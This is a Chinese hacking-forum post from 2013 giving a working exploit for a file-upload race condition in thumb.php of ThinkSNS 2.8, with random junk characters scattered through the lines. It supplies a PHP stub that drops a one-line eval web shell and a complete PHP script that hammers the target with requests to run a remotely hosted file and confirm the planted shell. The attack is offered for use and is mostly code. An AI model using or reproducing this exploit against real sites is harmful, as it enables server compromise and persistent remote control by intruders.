找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1998|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本4 r  V4 t) O. s- j" n' U
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)+ s7 G$ S  ?8 i" N0 [8 A, l! V
漏洞文件
  b/ i4 e. q0 c% N) W存在漏洞的文件为:thumb.php
6 u& [0 i* x4 ~作者:韦鲲鹏7 L) f) T8 c7 P- \
1、        准备如下PHP文件并上传到服务器(自己的)。2 `  D7 Z0 q5 V& k3 d
文件内容如下:
- \% l, }! @2 O<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>9 v) W+ T! M8 w9 Q$ I, ~
2、        计算出临时的文件名:
9 ^- Y. [) s8 G1 ^4 Y2 m这里我们可以看文件的99行(刚刚是不是没注意呀!)。3 r- J/ r" _( Y' }7 s* u7 O
/ g+ r, I! H( Z$ p9 T
3、        上传临时文件。9 L; H5 |0 @2 _7 v& m9 ~
4、        访问临时文件。
6 }; h/ b5 y. B5 h# M7 L6 ~) H但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)" G( |$ F9 Z8 G
Exploit文件内容如下:(这个我就不详细解释了)
. c- T  }! ^* p/ {2 C  M' u- H+ M<?php" M% a+ O+ [; R! o" s. z: q
error_reporting(0);- d: E( M1 }$ l6 e1 J  i$ n
set_time_limit(0);
, K, @) P/ a5 F4 V8 E/ ]ini_set(“default_socket_timeout”, 5);7 V5 [! s2 S# K6 R! O6 U# U
function http_send($host, $port, $headers) {' E' }% `7 D1 Y) \6 m
$fp = fsockopen($host, $port);
' A' P6 j! D& ]  `/ y6 ^( x. Yif (!$fp) die(‘Connection -> fail’);
/ w* |8 C6 W& G& Lfputs($fp, $headers);0 T' z! u5 y4 ]* k' l; ?
return $fp;5 H* J' E8 E: f8 v* X: @: f
}; d* J5 {# w, [- A5 L1 u3 X
function http_recv($fp) {
7 N9 u- ^1 O6 M$ret=”";
2 @. |( |2 s6 o: u# }* p7 _while (!feof($fp))4 N+ h. C2 s# k: [% _
$ret.= fgets($fp, 1024);
6 f. w* b$ L0 b+ a8 h- K5 Y3 Bfclose($fp);
# [, C/ ]0 u; i% |2 greturn $ret;
3 i) J1 T7 p$ r" V}
: I6 q" w- ^7 d; Iprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
% F" k4 ~/ u) ^* |+ eprint “# Discovered by 韦鲲鹏 #\n\n”;
2 W" D( k& l2 r% uif ($argc < 4) {2 p6 q+ f/ W8 K5 {
print “Usage:   php <host> <path> <romote_url>\n”;
6 b. X7 Z3 P0 g  H5 [$ `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;- j+ Q5 g2 G& H+ T9 z$ u, [2 U
die();. b- `0 F. I4 f
}7 i8 _$ j& p+ g, g
$host = $argv[1];
9 {6 \) R- B5 E$path = $argv[2];
& p! {0 b# w0 Q' r9 l, ~$url = $argv[3];
4 {3 i: n& i+ t- ~5 N$i=0;) Z+ d# s. V" X. T
//上传数据包" ^  M7 g) f5 f0 q  K& h2 g/ K
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
/ w2 u& P. I/ z% Y4 Z2 q$headers_up .= “Host: “.$host.”\r\n”;" W! c  N: a: M
$headers_up .= “Connection: close\r\n\r\n”;- ^& p' `: K  c& v
echo $headers_up;
4 h% T, m' E- \# W: ~* |//临时文件访问数据包& O9 e9 R' C; a  E- q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
" @! v/ Z5 o# I( M3 n7 W3 X$headers .= “Host: “.$host.”\r\n”;5 t" h" A. o1 {+ s4 ]
$headers .= “Connection: close\r\n\r\n”;: S' Z0 O3 }2 M! r; }
echo $headers;
& r& `7 N+ ]# s' E* J, Jwhile(++$i<10) {
% }; C" p) a7 z( @0 ]& Y+ ^! ?fclose(http_send($host, 80, $headers));
7 b7 i/ V" ]6 [2 E  U& p}
% \. T0 z: {/ j) C: bfclose(http_send($host, 80, $headers_up));
2 }8 A2 q  P" V; \: j7 Mwhile(++$i<50) {( |$ g" m& @: @' c
fclose(http_send($host, 80, $headers));+ i3 `4 V2 `: Y" a4 J) ~% c. c+ [
}
4 j& w: r; o* f, w' s' g9 G7 f$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
: F" o0 X% c9 K% T  V8 u0 |$headers .= “Host: “.$host.”\r\n”;
9 [# _  `6 W# d* v7 B. h7 Y7 m1 S* e$headers .= “Connection: close\r\n\r\n”;
) u+ o& V- A2 O$res=http_recv(http_send($host, 80, $headers));
7 _$ [. _  t) uif(preg_match(‘/200 OK/’,$res)) {5 t( S$ f, |, M3 Y
print “Success!\n\n”;  S. K. ~6 u+ T* Y- f. E/ n6 u: q
} else {
* @. O0 O! f& E! t; mprint “Fail!\n\n”;' @5 n0 Q; T* y3 e) W1 C
}' R) x# q6 X8 {
?>
7 |! V7 O" X% u2 q  K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表